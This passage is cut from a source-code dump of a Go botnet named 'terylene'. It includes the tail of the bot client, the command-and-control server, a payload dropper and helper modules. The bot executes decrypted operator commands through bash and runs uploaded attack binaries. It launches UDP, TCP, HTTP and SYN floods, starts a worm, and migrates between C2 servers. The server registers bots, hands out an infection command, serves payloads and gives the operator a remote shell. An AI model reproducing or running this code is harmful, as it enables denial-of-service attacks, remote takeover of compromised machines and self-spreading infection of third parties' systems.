log.Println("dealer channel closed") 501 | dealdown <- struct{}{} 502 | break 503 | } 504 | 505 | if res[0] == "h" { 506 | dealmut.Lock() 507 | dealer.SendMessage("h") 508 | dealmut.Unlock() 509 | } 510 | 511 | if res[0] == "kill" { 512 | log.Fatalln("killed by C2 owner") 513 | } 514 | 515 | if len(res) == 2 { 516 | if res[0] == "cmd" { 517 | command, err := zcrypto.DecryptChaCha20Poly1305([]byte(res[1]), polykey) 518 | if err != nil { 519 | log.Println(err) 520 | continue 521 | } 522 | go cmdhandler(string(command), []byte(polykey), dealer) 523 | } 524 | } 525 | if len(res) == 3 { 526 | if res[0] == "migrate" { 527 | var details postC2info 528 | details.C2ip = res[1] 529 | details.rport = res[2] 530 | log.Println("dealer migration triggered") 531 | dealer.SetLinger(0) 532 | dealer.Close() 533 | log.Println("dealer channel closed") 534 | dealmigsignal <- details 535 | break 536 | } 537 | } 538 | 539 | } 540 | } 541 | 542 | func methodentry(rawformat string) ([]methflag, error) { 543 | var flags []methflag 544 | seen := make(map[string]bool) 545 | ifmain := false 546 | 547 | pattern := "\\$([a-zA-Z]+)::([a-zA-Z]+)" 548 | re := regexp.MustCompile(pattern) 549 | 550 | matches := re.FindAllStringSubmatch(rawformat, -1) 551 | 552 | if len(matches) == 0 { 553 | return flags, errors.New("there are no entry") 554 | } 555 | 556 | for _, match := range matches { 557 | 558 | if match[1] == "main" { 559 | ifmain = true 560 | } 561 | 562 | if seen[match[1]] { 563 | color.Red("duplication value detected:%s", match[1]) 564 | return flags, fmt.Errorf("duplication value detected:%s", match[1]) 565 | } else { 566 | seen[match[1]] = true 567 | } 568 | 569 | if !isValidType(match[2]) { 570 | return flags, fmt.Errorf("invalid type '%s' for %s entry", match[2], match[1]) 571 | } 572 | 573 | flags = append(flags, methflag{entry: match[1], entrytype: match[2]}) 574 | } 575 | 576 | if !ifmain { 577 | return flags, errors.New("format has no main argument") 578 | } 579 | 580 | return flags, nil 581 | } 582 | 583 | func deletemethod(methodName string) { 584 | for i, method := range custom_methods { 585 | if method.name == methodName { 586 | custom_methods = append(custom_methods[:i], custom_methods[i+1:]...) 587 | os.Remove(method.path) 588 | 589 | log.Println(methodName, "deleted successfully") 590 | return 591 | } 592 | } 593 | 594 | log.Println("no method found with name: ", methodName) 595 | } 596 | func subhandler(subscriber *zmq.Socket, C2ip, bot, bport, connid string, subdown chan<- struct{}, submigsignal chan<- struct{}) { 597 | subscriber.Connect(fmt.Sprintf("tcp://%s:%s", C2ip, bport)) 598 | 599 | subscriber.SetRcvtimeo(time.Second * 20) 600 | subscriber.SetSubscribe(bot) 601 | subscriber.SetSubscribe(connid) 602 | log.Printf("subscribed to the %s channel\n", bot) 603 | 604 | var file *os.File 605 | var methname string 606 | var filename string 607 | var filepath string 608 | 609 | loop: 610 | for { 611 | recved, err := subscriber.RecvMessage(0) 612 | 613 | if err != nil { 614 | log.Printf("subscriber channel: %s\n", err) 615 | subscriber.SetLinger(0) 616 | subscriber.Close() 617 | log.Println("subscriber channel closed") 618 | subdown <- struct{}{} 619 | break 620 | } 621 | 622 | if len(recved) == 0 || len(recved) == 1 { 623 | log.Println("malformed message ignored") 624 | continue 625 | } 626 | 627 | if recved[1] == "h" { 628 | continue 629 | } 630 | 631 | if len(recved) == 3 { 632 | if recved[1] == "deletemethod" { 633 | deletemethod(recved[2]) 634 | } 635 | } 636 | if len(recved) > 2 { 637 | switch recved[1] { 638 | case "file_start": 639 | methname = recved[2] 640 | filename = recved[3] 641 | filepath = "methods/" + filename 642 | file, err = os.Create(filepath) 643 | 644 | if err != nil { 645 | log.Printf("failed to create file: %v", err) 646 | break 647 | } 648 | continue 649 | 650 | case "file_chunk": 651 | if file != nil && recved[2] == methname { 652 | decoded, err := base64.StdEncoding.DecodeString(recved[3]) 653 | if err != nil { 654 | log.Println("failed to decode base64 for file", filename) 655 | continue 656 | } 657 | 658 | _, err = file.Write(decoded) 659 | 660 | if err != nil { 661 | log.Printf("failed to write to file: %v", err) 662 | if file != nil { 663 | file.Close() 664 | } 665 | break 666 | } 667 | } 668 | continue 669 | case "file_end": 670 | if file != nil && methname == recved[2] { 671 | 672 | file.Close() 673 | file = nil 674 | 675 | rawformat := recved[3] 676 | 677 | entries, err := methodentry(rawformat) 678 | 679 | if err != nil { 680 | log.Println(err) 681 | break 682 | } 683 | 684 | custom_methods = append(custom_methods, Method{name: methname, path: filepath, flag_entries: entries, rawformat: rawformat}) 685 | log.Println("recieved method", methname, "successfully") 686 | err = os.Chmod(filepath, 0755) 687 | 688 | methname = "" 689 | filename = "" 690 | filepath = "" 691 | file = nil 692 | 693 | if err != nil { 694 | log.Println("Error:", err) 695 | return 696 | } 697 | continue 698 | } 699 | case "migrate": 700 | submigsignal <- struct{}{} 701 | break loop 702 | case "killall": 703 | os.Exit(2) 704 | } 705 | } 706 | methodhandler(recved) 707 | } 708 | } 709 | 710 | func methodhandler(messages []string) { 711 | if len(messages) == 5 { 712 | switch messages[1] { 713 | case "UDP": 714 | go attack.UDP(messages[2], messages[3], messages[4]) 715 | case "TCP": 716 | go attack.TCP(messages[2], messages[3], messages[4]) 717 | case "HTTP": 718 | go attack.HTTP(messages[2], messages[3], messages[4]) 719 | case "UDPRAPE": 720 | go attack.UDPRAPE(messages[2], messages[3], messages[4]) 721 | case "SYN": 722 | go attack.SYN(messages[2], messages[3], messages[4]) 723 | case "UDP-VIP": 724 | go attack.UDP_VIP(messages[2], messages[3], messages[4]) 725 | } 726 | } 727 | 728 | if len(messages) > 1 { 729 | for _, value := range custom_methods { 730 | if value.name == messages[1] { 731 | pattern := "\\$([a-zA-Z]+)::([a-zA-Z]+)" 732 | 733 | regexpPattern := regexp.MustCompile(pattern) 734 | 735 | values := []string{value.path} 736 | 737 | for _, i := range messages { 738 | if i == "terylene" || i == value.name { 739 | continue 740 | } 741 | values = append(values, i) 742 | } 743 | 744 | // Initialize an index to keep track of which value to replace with 745 | valueIndex := 0 746 | 747 | // Replace placeholders with values 748 | outputString := regexpPattern.ReplaceAllStringFunc(value.rawformat, func(match string) string { 749 | if valueIndex >= len(values) { 750 | return match // more values, return the original match 751 | } 752 | 753 | // Replace the placeholder with the corresponding value 754 | replacement := values[valueIndex] 755 | valueIndex++ // Move to the next value 756 | return replacement 757 | }) 758 | 759 | fmt.Println(outputString) 760 | 761 | go func() { 762 | cmd := exec.Command("bash", "-c", outputString) 763 | 764 | output, err := cmd.CombinedOutput() 765 | if err != nil { 766 | fmt.Println("Error executing command:", err) 767 | return 768 | } 769 | 770 | log.Println(string(output)) 771 | }() 772 | 773 | return 774 | } 775 | } 776 | } 777 | } 778 | 779 | func main() { 780 | go worm.Startworm() 781 | nzmqinst := getFreshSocket() 782 | 783 | os.Mkdir("methods", 0755) 784 | 785 | register(nzmqinst, postC2info{C2ip: config.C2ip, rport: config.Routerport}, time.Second*10) 786 | } 787 | -------------------------------------------------------------------------------- /server/components/dropper/dropper.go: -------------------------------------------------------------------------------- 1 | package dropper 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "net/http" 7 | "os" 8 | "path/filepath" 9 | ) 10 | 11 | const ( 12 | dropperport = "8080" 13 | ) 14 | 15 | func serveFile(w http.ResponseWriter, r *http.Request) { 16 | fileName := r.URL.Path[1:] 17 | filePath := filepath.Join("dropper", fileName) 18 | 19 | _, err := os.Stat(filePath) 20 | if err != nil { 21 | http.NotFound(w, r) 22 | return 23 | } 24 | 25 | file, err := os.Open(filePath) 26 | if err != nil { 27 | http.Error(w, "Error opening the file", http.StatusInternalServerError) 28 | return 29 | } 30 | defer file.Close() 31 | 32 | w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", fileName)) 33 | w.Header().Set("Content-Type", "application/octet-stream") 34 | 35 | _, err = io.Copy(w, file) 36 | if err != nil { 37 | http.Error(w, "Error sending file data", http.StatusInternalServerError) 38 | return 39 | } 40 | } 41 | 42 | func Dropstart() { 43 | http.HandleFunc("/", serveFile) 44 | http.ListenAndServe(fmt.Sprintf(":%s", dropperport), nil) 45 | } 46 | -------------------------------------------------------------------------------- /server/components/fade/fade.go: -------------------------------------------------------------------------------- 1 | package fade 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "time" 7 | ) 8 | 9 | func Amber(text string) string { 10 | faded := "" 11 | for _, line := range strings.Split(text, "\n") { 12 | green := 250 13 | for _, char := range line { 14 | green -= 5 15 | if green < 0 { 16 | green = 0 17 | } 18 | faded += fmt.Sprintf("\033[38;2;255;%d;0m%s\033[0m", green, string(char)) 19 | } 20 | faded += "\n" 21 | } 22 | return faded 23 | } 24 | 25 | func Water(text string) string { 26 | faded := "" 27 | green := 10 28 | for _, line := range strings.Split(text, "\n") { 29 | faded += fmt.Sprintf("\033[38;2;0;%d;255m%s\033[0m\n", green, line) 30 | if green != 255 { 31 | green += 15 32 | if green > 255 { 33 | green = 255 34 | } 35 | } 36 | } 37 | return faded 38 | } 39 | 40 | func Purple(text string) string { 41 | faded := "" 42 | down := false 43 | 44 | for _, line := range strings.Split(text, "\n") { 45 | red := 40 46 | for _, char := range line { 47 | if down { 48 | red -= 3 49 | } else { 50 | red += 3 51 | } 52 | if red > 254 { 53 | red = 255 54 | down = true 55 | } else if red < 1 { 56 | red = 30 57 | down = false 58 | } 59 | faded += fmt.Sprintf("\033[38;2;%d;0;220m%s\033[0m", red, string(char)) 60 | } 61 | } 62 | return faded 63 | } 64 | 65 | func Rainbow(text string, delay time.Duration) { 66 | colors := []int{91, 93, 92, 96, 94, 95} 67 | 68 | for _, char := range text { 69 | color := colors[0] 70 | colors = append(colors[1:], color) 71 | 72 | fmt.Printf("\033[%dm%s", color, string(char)) 73 | time.Sleep(delay) 74 | } 75 | 76 | fmt.Print("\033[0m") 77 | } 78 | -------------------------------------------------------------------------------- /server/components/setup/setup.go: -------------------------------------------------------------------------------- 1 | package setup 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/exec" 7 | "terylene/config" 8 | "time" 9 | 10 | poly "terylene/server/theme/default" 11 | 12 | "github.com/fatih/color" 13 | zmq "github.com/pebbe/zmq4" 14 | ) 15 | 16 | func clearScreen() { 17 | cmd := exec.Command("clear") 18 | cmd.Stdout = os.Stdout 19 | cmd.Run() 20 | } 21 | 22 | func Setup() (terminal *color.Color, nrouter, npublisher *zmq.Socket) { 23 | 24 | terminalcolor := color.New(color.FgCyan).Add(color.BgHiBlack) 25 | 26 | clearScreen() 27 | 28 | color.Cyan(poly.Title) 29 | 30 | time.Sleep(50 * time.Millisecond) 31 | 32 | publisher, err := zmq.NewSocket(zmq.PUB) 33 | 34 | if err != nil { 35 | fmt.Println(err) 36 | color.Red("[X]error creating zeroC2 broadcast") 37 | os.Exit(1) 38 | } 39 | 40 | err = publisher.Bind(fmt.Sprintf("tcp://%s:%s", config.C2ip, config.Broadcastport)) 41 | 42 | if err != nil { 43 | fmt.Println(err) 44 | color.Red("[X] error binding port %s", config.Broadcastport) 45 | os.Exit(1) 46 | } 47 | 48 | color.Green("[✔] successfully started zeroC2 broadcast") 49 | 50 | router, err := zmq.NewSocket(zmq.ROUTER) 51 | 52 | if err != nil { 53 | color.Red("[X] error creating router socket") 54 | } 55 | 56 | err = router.Bind(fmt.Sprintf("tcp://%s:%s", config.C2ip, config.Routerport)) 57 | 58 | router.SetLinger(0) 59 | if err != nil { 60 | fmt.Println(err) 61 | color.Red("[X] error binding port %s", config.Routerport) 62 | os.Exit(1) 63 | } 64 | 65 | color.Green("[✔] successfully started zeroC2 router") 66 | 67 | return terminalcolor, router, publisher 68 | 69 | } 70 | -------------------------------------------------------------------------------- /server/components/transfer/transfer.go: -------------------------------------------------------------------------------- 1 | package transfer 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | 7 | zmq "github.com/pebbe/zmq4" 8 | ) 9 | 10 | const ( 11 | // Dont modify 12 | SecretInjustice = "injustice" 13 | SecretIsDone = "isdone" 14 | ExpectedResult = "justiceisserved" 15 | TimeoutDuration = 5 * time.Second 16 | ) 17 | 18 | func timeoutcheck(socket *zmq.Socket, secret string) (string, error) { 19 | resultChan := make(chan string) 20 | errorChan := make(chan error) 21 | 22 | go func() { 23 | _, err := socket.SendMessage(secret) 24 | if err != nil { 25 | errorChan <- err 26 | return 27 | } 28 | msg, err := socket.RecvMessage(0) 29 | if err != nil { 30 | errorChan <- err 31 | return 32 | } 33 | 34 | resultChan <- msg[0] 35 | }() 36 | 37 | select { 38 | case result := <-resultChan: 39 | return result, nil 40 | case err := <-errorChan: 41 | return "", err 42 | case <-time.After(TimeoutDuration): 43 | return "", fmt.Errorf("timeout") 44 | } 45 | } 46 | 47 | func Transfercheck(C2ip, rport string) error { 48 | dealer, err := zmq.NewSocket(zmq.DEALER) 49 | dealer.SetLinger(0) 50 | if err != nil { 51 | fmt.Println("Failed to start Router socket") 52 | return err 53 | } 54 | defer dealer.Close() 55 | 56 | fmt.Println("Performing verification check on the server") 57 | err = dealer.Connect(fmt.Sprintf("tcp://%s:%s", C2ip, rport)) 58 | defer dealer.Close() 59 | 60 | if err != nil { 61 | return err 62 | } 63 | 64 | message1, err1 := timeoutcheck(dealer, SecretInjustice) 65 | message2, err2 := timeoutcheck(dealer, SecretIsDone) 66 | 67 | if err1 == nil && err2 == nil { 68 | result := message1 + message2 69 | 70 | if result == ExpectedResult { 71 | return nil 72 | } 73 | } 74 | 75 | return fmt.Errorf("no mitigation") 76 | } 77 | -------------------------------------------------------------------------------- /server/dropper/droppayloadhere.txt: -------------------------------------------------------------------------------- 1 | drop terylene over here -------------------------------------------------------------------------------- /server/methods/hello: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tcpfin-dev/terylene/5e55e1127245d9d591eb860217256c49654a28b2/server/methods/hello -------------------------------------------------------------------------------- /server/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "encoding/base64" 6 | "errors" 7 | "fmt" 8 | "io" 9 | "log" 10 | "net" 11 | "net/http" 12 | "os" 13 | "os/exec" 14 | "regexp" 15 | "strconv" 16 | "strings" 17 | "sync" 18 | config "terylene/config" 19 | zcrypto "terylene/crypto" 20 | dropper "terylene/server/components/dropper" 21 | "terylene/server/components/fade" 22 | "terylene/server/components/setup" 23 | "terylene/server/components/transfer" 24 | poly "terylene/server/theme/default" 25 | "time" 26 | 27 | tablewriter "github.com/olekukonko/tablewriter" 28 | 29 | "github.com/fatih/color" 30 | zmq "github.com/pebbe/zmq4" 31 | ) 32 | 33 | type Botstruc struct { 34 | conn string 35 | arch string 36 | OS string 37 | localip string 38 | pubip string 39 | connID string 40 | reversekey string 41 | } 42 | 43 | type Method struct { 44 | name string 45 | description string 46 | path string 47 | flag_entries []methflag 48 | displayformat string 49 | rawformat string 50 | } 51 | 52 | type methflag struct { 53 | entry string 54 | entrytype string 55 | } 56 | 57 | type ParseType struct { 58 | VarType string 59 | } 60 | 61 | const ( 62 | chunkSize = 1024 // Define the size of each file chunk 63 | //you can change this value for faster method upload speed 64 | ) 65 | 66 | func isValidType(t string) bool { 67 | validTypes := map[string]bool{ 68 | "string": true, 69 | "ip": true, 70 | "port": true, 71 | "int": true, 72 | "uint": true, 73 | } 74 | 75 | return validTypes[t] 76 | } 77 | 78 | var ( 79 | //DONT change any of these 80 | Allmethods = poly.AllMethods 81 | connIDs = make(map[string]string) 82 | tera = make(map[string]Botstruc) 83 | aliveclient = make(map[string]time.Time) 84 | custom_methods = make([]Method, 0) 85 | shell = false 86 | start = time.Now() 87 | pubmutex sync.Mutex 88 | routmutex sync.Mutex 89 | alivemutex sync.RWMutex 90 | ) 91 | 92 | func broadcaster(message []string, publisher *zmq.Socket) { 93 | pubmutex.Lock() 94 | publisher.SendMessage(message) 95 | pubmutex.Unlock() 96 | } 97 | 98 | func heartroutsend(router *zmq.Socket) { 99 | for { 100 | for id := range connIDs { 101 | routmutex.Lock() 102 | router.SendMessage(id, "h") 103 | routmutex.Unlock() 104 | } 105 | time.Sleep(2 * time.Second) 106 | } 107 | } 108 | 109 | func heartpubsend(publisher *zmq.Socket) { 110 | for { 111 | broadcaster([]string{"terylene", "h"}, publisher) 112 | time.Sleep(2 * time.Second) 113 | } 114 | } 115 | 116 | func heartbeatcheck() { 117 | for { 118 | alivemutex.RLock() 119 | for id, last := range aliveclient { 120 | if time.Since(last) > 5*time.Second { 121 | delete(aliveclient, id) 122 | delete(tera, id) 123 | delete(connIDs, id) 124 | fmt.Printf("\n\033[1;33mheartbeat monitor: terylene %s has been pronounced dead\033[0m", id) 125 | } 126 | } 127 | alivemutex.RUnlock() 128 | time.Sleep(3 * time.Second) 129 | } 130 | } 131 | 132 | func ExistsInMap(m map[string]string, targetValue string) bool { 133 | for _, value := range m { 134 | if value == targetValue { 135 | return true 136 | } 137 | } 138 | return false 139 | } 140 | 141 | func clearScreen() { 142 | cmd := exec.Command("clear") 143 | cmd.Stdout = os.Stdout 144 | cmd.Run() 145 | } 146 | 147 | func isPublicIPv4(address string) bool { 148 | ip := net.ParseIP(address) 149 | if ip == nil || ip.To4() == nil { 150 | return false 151 | } 152 | 153 | return !ip.IsLoopback() && !ip.IsLinkLocalMulticast() && !ip.IsLinkLocalUnicast() && !ip.IsMulticast() && !ip.IsUnspecified() && !ip.IsPrivate() 154 | } 155 | 156 | func isValidport(port int) bool { 157 | return port >= 0 && port <= 65535 158 | } 159 | 160 | func routerhandle(router *zmq.Socket) { 161 | for { 162 | msg, err := router.RecvMessage(0) 163 | 164 | go func(msg []string) { 165 | if err != nil { 166 | return 167 | } 168 | if len(msg) == 0 || len(msg) == 1 { 169 | return 170 | } 171 | 172 | //registration 173 | if len(msg) == 7 { 174 | if msg[1] == "reg" { 175 | if ExistsInMap(connIDs, msg[6]) { 176 | routmutex.Lock() 177 | router.SendMessage(msg[0], "kys") 178 | routmutex.Unlock() 179 | } else { 180 | key, err := zcrypto.GenerateRandomKey(32) 181 | if err != nil { 182 | log.Fatalln("Key generation failed") 183 | } 184 | bot := Botstruc{ 185 | conn: msg[0], 186 | arch: msg[2], 187 | OS: msg[3], 188 | localip: msg[4], 189 | pubip: msg[5], 190 | connID: msg[6], 191 | reversekey: string(key), 192 | } 193 | tera[msg[0]] = bot 194 | connIDs[msg[0]] = msg[6] 195 | enckey, err := zcrypto.EncryptAES256(key, []byte(config.AESkey)) 196 | if err != nil { 197 | log.Fatalln(err) 198 | } 199 | routmutex.Lock() 200 | router.SendMessage(msg[0], "terylene", config.Broadcastport, enckey) 201 | routmutex.Unlock() 202 | } 203 | } 204 | } 205 | 206 | if len(msg) == 2 { 207 | if msg[1] == "h" { 208 | alivemutex.Lock() 209 | aliveclient[msg[0]] = time.Now() 210 | alivemutex.Unlock() 211 | } else if msg[1] == "injustice" { 212 | routmutex.Lock() 213 | router.SendMessage(msg[0], "justice") 214 | routmutex.Unlock() 215 | } else if msg[1] == "isdone" { 216 | routmutex.Lock() 217 | router.SendMessage(msg[0], "isserved") 218 | routmutex.Unlock() 219 | } 220 | } 221 | if len(msg) == 3 { 222 | if shell { 223 | var polykey string 224 | for _, key := range tera { 225 | if msg[0] == key.conn { 226 | polykey = key.reversekey 227 | } 228 | } 229 | decoutput, err := zcrypto.DecryptChaCha20Poly1305([]byte(msg[2]), []byte(polykey)) 230 | if err != nil { 231 | log.Println(err) 232 | return 233 | } 234 | if msg[1] == "cmdS" { 235 | fmt.Printf("\033[32m%s\033[0m\n", strings.Trim(string(decoutput), "\n")) 236 | } else { 237 | fmt.Printf("\x1b[31m%s\x1b[0m\n", strings.Trim(string(decoutput), "\n")) 238 | } 239 | } 240 | } 241 | }(msg) 242 | } 243 | } 244 | 245 | func IPC() { 246 | rep, err := zmq.NewSocket(zmq.REP) 247 | 248 | if err != nil { 249 | log.Fatalln(err) 250 | } 251 | 252 | rep.Bind("ipc:///tmp/ZeroCall") 253 | 254 | for { 255 | msg, err := rep.RecvMessage(0) 256 | 257 | if err != nil { 258 | log.Println(err) 259 | break 260 | } 261 | 262 | switch len(msg) { 263 | case 1: 264 | if msg[0] == "GetBotsOnline" { 265 | rep.SendMessage(fmt.Sprintf("%d", len(aliveclient))) 266 | } else if msg[0] == "GetBotslist" { 267 | var result []string 268 | for _, bot := range tera { 269 | result = append(result, bot.connID) 270 | } 271 | rep.SendMessage(result) 272 | } else if msg[0] == "Uptime" { 273 | uptime := time.Since(start) 274 | rep.SendMessage(fmt.Sprintf("%v", uptime)) 275 | } else if msg[0] == "shutdown" { 276 | rep.SendMessage("success") 277 | os.Exit(125) 278 | } else if msg[0] == "Getpayload" { 279 | if config.C2ip == "0.0.0.0" { 280 | newC2ip := getpubIp() 281 | rep.SendMessage(fmt.Sprintf(config.Infcommand, newC2ip)) 282 | continue 283 | } 284 | rep.SendMessage(fmt.Sprintf(config.Infcommand, config.C2ip)) 285 | } 286 | case 2: 287 | if msg[0] == "GetInfo" { 288 | found := false 289 | for _, bot := range tera { 290 | if bot.connID == msg[1] { 291 | found = true 292 | rep.SendMessage(bot.arch, bot.localip, bot.pubip, bot.OS, bot.reversekey) 293 | } 294 | } 295 | if !found { 296 | rep.SendMessage("not found") 297 | } 298 | } 299 | default: 300 | rep.SendMessage("error") 301 | } 302 | } 303 | 304 | log.Println("ZeroC2 IPC Call has shutdown") 305 | } 306 | 307 | func randomtransfer(target string, rport, amount int, router, publisher *zmq.Socket) { 308 | count := 0 309 | for id := range aliveclient { 310 | routmutex.Lock() 311 | router.SendMessage(id, "migrate", target, rport) 312 | routmutex.Unlock() 313 | broadcaster([]string{connIDs[id], "migrate"}, publisher) 314 | delete(aliveclient, id) 315 | delete(tera, id) 316 | delete(connIDs, id) 317 | if count == amount { 318 | break 319 | } 320 | } 321 | 322 | } 323 | 324 | func killprompt(prompt string, router, publisher *zmq.Socket) string { 325 | parts := strings.Fields(prompt) 326 | 327 | if len(parts) != 2 { 328 | return poly.Killhelp 329 | } 330 | 331 | if parts[1] == "all" { 332 | killall(publisher) 333 | } else { 334 | return (kill(parts[1], router)) 335 | } 336 | 337 | return "" 338 | } 339 | 340 | func killall(publisher *zmq.Socket) { 341 | broadcaster([]string{"terylene", "killall"}, publisher) 342 | clearScreen() 343 | fmt.Println(poly.Killallsuc) 344 | } 345 | 346 | func kill(connId string, router *zmq.Socket) string { 347 | for zid, id := range connIDs { 348 | if id == connId { 349 | routmutex.Lock() 350 | router.SendMessage(zid, "kill") 351 | routmutex.Unlock() 352 | return fmt.Sprintf(poly.Killone, connId) 353 | } 354 | } 355 | 356 | return poly.NoConnId 357 | } 358 | 359 | func transferprompt(prompt string, router, publisher *zmq.Socket) string { 360 | parts := strings.Fields(prompt) 361 | 362 | if len(parts) != 5 { 363 | return poly.Transferhelp 364 | } 365 | 366 | if len(aliveclient) == 0 { 367 | return poly.Nobots 368 | } 369 | 370 | target := parts[1] 371 | port := parts[2] 372 | 373 | if !isPublicIPv4(target) { 374 | return poly.InvalidIp 375 | } 376 | 377 | rport, err := strconv.Atoi(port) 378 | 379 | if err != nil { 380 | return poly.Invalidport 381 | } 382 | 383 | if !isValidport(rport) { 384 | return poly.Invalidport 385 | } 386 | 387 | err = transfer.Transfercheck(target, port) 388 | 389 | if err != nil { 390 | return poly.NoMitigation 391 | } 392 | 393 | if parts[3] == "random" { 394 | number, err := strconv.Atoi(parts[4]) 395 | 396 | if err != nil { 397 | return poly.InvalidNumber 398 | } 399 | 400 | randomtransfer(target, rport, number, router, publisher) 401 | return poly.MitSuccess 402 | } 403 | 404 | if parts[3] == "specific" { 405 | for zid, id := range connIDs { 406 | if id == parts[4] { 407 | routmutex.Lock() 408 | router.SendMessage(zid, "migrate", target, rport) 409 | routmutex.Unlock() 410 | broadcaster([]string{id, "migrate"}, publisher) 411 | delete(aliveclient, zid) 412 | delete(tera, zid) 413 | delete(connIDs, zid) 414 | return poly.MitSuccess 415 | } else { 416 | continue 417 | } 418 | } 419 | 420 | return poly.NoConnId 421 | } 422 | 423 | return "" 424 | } 425 | 426 | func getpubIp() string { 427 | url := "https://api.ipify.org?format=text" 428 | resp, err := http.Get(url) 429 | if err != nil { 430 | return "" 431 | } 432 | defer resp.Body.Close() 433 | ip, err := io.ReadAll(resp.Body) 434 | if err != nil { 435 | return "" 436 | } 437 | return string(ip) 438 | } 439 | 440 | func reversehandler(connID string, scanner *bufio.Scanner, router *zmq.Socket) { 441 | clearScreen() 442 | var polykey string 443 | var conn string 444 | shell = true 445 | for _, value := range tera { 446 | if value.connID == connID { 447 | polykey = value.reversekey 448 | conn = value.conn 449 | } 450 | } 451 | 452 | if polykey == "" { 453 | fmt.Print(fade.Amber(poly.Shellart3)) 454 | fmt.Printf("\nNo such terylene connID: %s\n", connID) 455 | return 456 | } else { 457 | fmt.Print(fade.Water(poly.Shellart)) 458 | } 459 | for { 460 | scanner.Scan() 461 | err := scanner.Err() 462 | if err != nil { 463 | log.Fatalln(err) 464 | } 465 | command := scanner.Text() 466 | 467 | if command == "" { 468 | continue 469 | } 470 | 471 | if command == "clear" { 472 | clearScreen() 473 | } 474 | 475 | if command == "exit" || command == "background" { 476 | clearScreen() 477 | shell = false 478 | fmt.Print(fade.Water(poly.Shellart2)) 479 | break 480 | } 481 | encommand, err := zcrypto.EncryptChaCha20Poly1305([]byte(command), []byte(polykey)) 482 | if err != nil { 483 | log.Fatalln(err) 484 | } 485 | routmutex.Lock() 486 | router.SendMessage(conn, "cmd", string(encommand)) 487 | routmutex.Unlock() 488 | } 489 | } 490 | 491 | func uploadmethod(meth Method, pub *zmq.Socket) { 492 | filePath := meth.path 493 | 494 | file, err := os.Open(filePath) 495 | if err != nil { 496 | log.Println(err) 497 | return 498 | } 499 | 500 | name := meth.name 501 | fileInfo, err := os.Stat(filePath) 502 | usageformat := []string{fmt.Sprintf("!%s", meth.name)} 503 | 504 | for _, flagEntry := range meth.flag_entries { 505 | usageformat = append(usageformat, "<"+flagEntry.entry+">") 506 | } 507 | 508 | if err != nil { 509 | log.Println(err) 510 | return 511 | } 512 | 513 | filename := fileInfo.Name() 514 | if err != nil { 515 | log.Printf("could not open file: %v\n", err) 516 | return 517 | } 518 | 519 | defer file.Close() 520 | 521 | reader := bufio.NewReader(file) 522 | buffer := make([]byte, chunkSize) 523 | 524 | pubmutex.Lock() 525 | pub.SendMessage("terylene", "file_start", name, filename) 526 | pubmutex.Unlock() 527 | 528 | fmt.Println("uploading...") 529 | 530 | for { 531 | bytesRead, err := reader.Read(buffer) 532 | if err != nil { 533 | if err == io.EOF { 534 | break 535 | } 536 | log.Fatalf("could not read chunk from file: %v", err) 537 | } 538 | chunk := buffer[:bytesRead] 539 | 540 | encodedchunk := base64.StdEncoding.EncodeToString(chunk) 541 | 542 | pubmutex.Lock() 543 | pub.SendMessage("terylene", "file_chunk", name, encodedchunk) 544 | pubmutex.Unlock() 545 | } 546 | 547 | pubmutex.Lock() 548 | pub.SendMessage("terylene", "file_end", meth.name, meth.rawformat) 549 | pubmutex.Unlock() 550 | 551 | meth.displayformat = strings.Join(usageformat, " ") 552 | 553 | custom_methods = append(custom_methods, meth) 554 | fmt.Println("upload finished") 555 | 556 | Allmethods = append(Allmethods, []string{meth.name, meth.description, strings.Join(usageformat, " ")}) 557 | } 558 | 559 | func addmethod(method string, publisher *zmq.Socket) { 560 | 561 | clearScreen() 562 | 563 | fmt.Println(fade.Water(poly.AddmethodArt)) 564 | 565 | scanner := bufio.NewScanner(os.Stdin) 566 | 567 | var meth Method 568 | 569 | for _, value := range Allmethods { 570 | if value[0] == method { 571 | color.Red("conflicting method name with builtin name: %s\n", value[0]) 572 | return 573 | } 574 | } 575 | 576 | meth.name = method 577 | 578 | for { 579 | fmt.Print("method path:") 580 | scanner.Scan() 581 | mpath := scanner.Text() 582 | mpath = strings.TrimSpace(mpath) 583 | 584 | if mpath == "exit" { 585 | clearScreen() 586 | return 587 | } 588 | 589 | fileInfo, err := os.Stat(mpath) 590 | 591 | if err == nil { 592 | if fileInfo.IsDir() { 593 | color.Red("Path is a directory") 594 | continue 595 | } 596 | meth.path = mpath 597 | break 598 | } else if os.IsNotExist(err) { 599 | color.Red("No such file present") 600 | continue 601 | } else { 602 | log.Printf("fatal error: %s\n", err) 603 | continue 604 | } 605 | } 606 | 607 | fmt.Print("description:") 608 | scanner.Scan() 609 | description := scanner.Text() 610 | description = strings.TrimSpace(description) 611 | 612 | if description == "exit" { 613 | return 614 | } 615 | 616 | meth.description = description 617 | 618 | color.Green("input the format to execute this method (example: ./$main::string $target::ip $port::port $duration::int)") 619 | 620 | for { 621 | fmt.Print("format:") 622 | 623 | scanner.Scan() 624 | format := scanner.Text() 625 | format = strings.TrimSpace(format) 626 | 627 | if format == "exit" { 628 | return 629 | } 630 | 631 | var flags []methflag 632 | seen := make(map[string]bool) 633 | ifdup := false 634 | ifmain := false 635 | ifinvalid := false 636 | 637 | pattern := "\\$([a-zA-Z]+)::([a-zA-Z]+)" 638 | re := regexp.MustCompile(pattern) 639 | 640 | matches := re.FindAllStringSubmatch(format, -1) 641 | 642 | if len(matches) == 0 { 643 | color.Red("there are no entry!!!") 644 | continue 645 | } 646 | 647 | for _, match := range matches { 648 | 649 | if match[1] == "main" { 650 | ifmain = true 651 | continue 652 | } 653 | 654 | if seen[match[1]] { 655 | color.Red("duplication value detected:%s", match[1]) 656 | ifdup = true 657 | break 658 | } else { 659 | seen[match[1]] = true 660 | } 661 | 662 | if !isValidType(match[2]) { 663 | color.Red("invalid type '%s' for %s entry", match[2], match[1]) 664 | ifinvalid = true 665 | break 666 | } 667 | 668 | flags = append(flags, methflag{entry: match[1], entrytype: match[2]}) 669 | } 670 | 671 | if ifdup || ifinvalid { 672 | continue 673 | } 674 | 675 | if !ifmain { 676 | color.Red("Format has no main argument") 677 | continue 678 | } 679 | 680 | 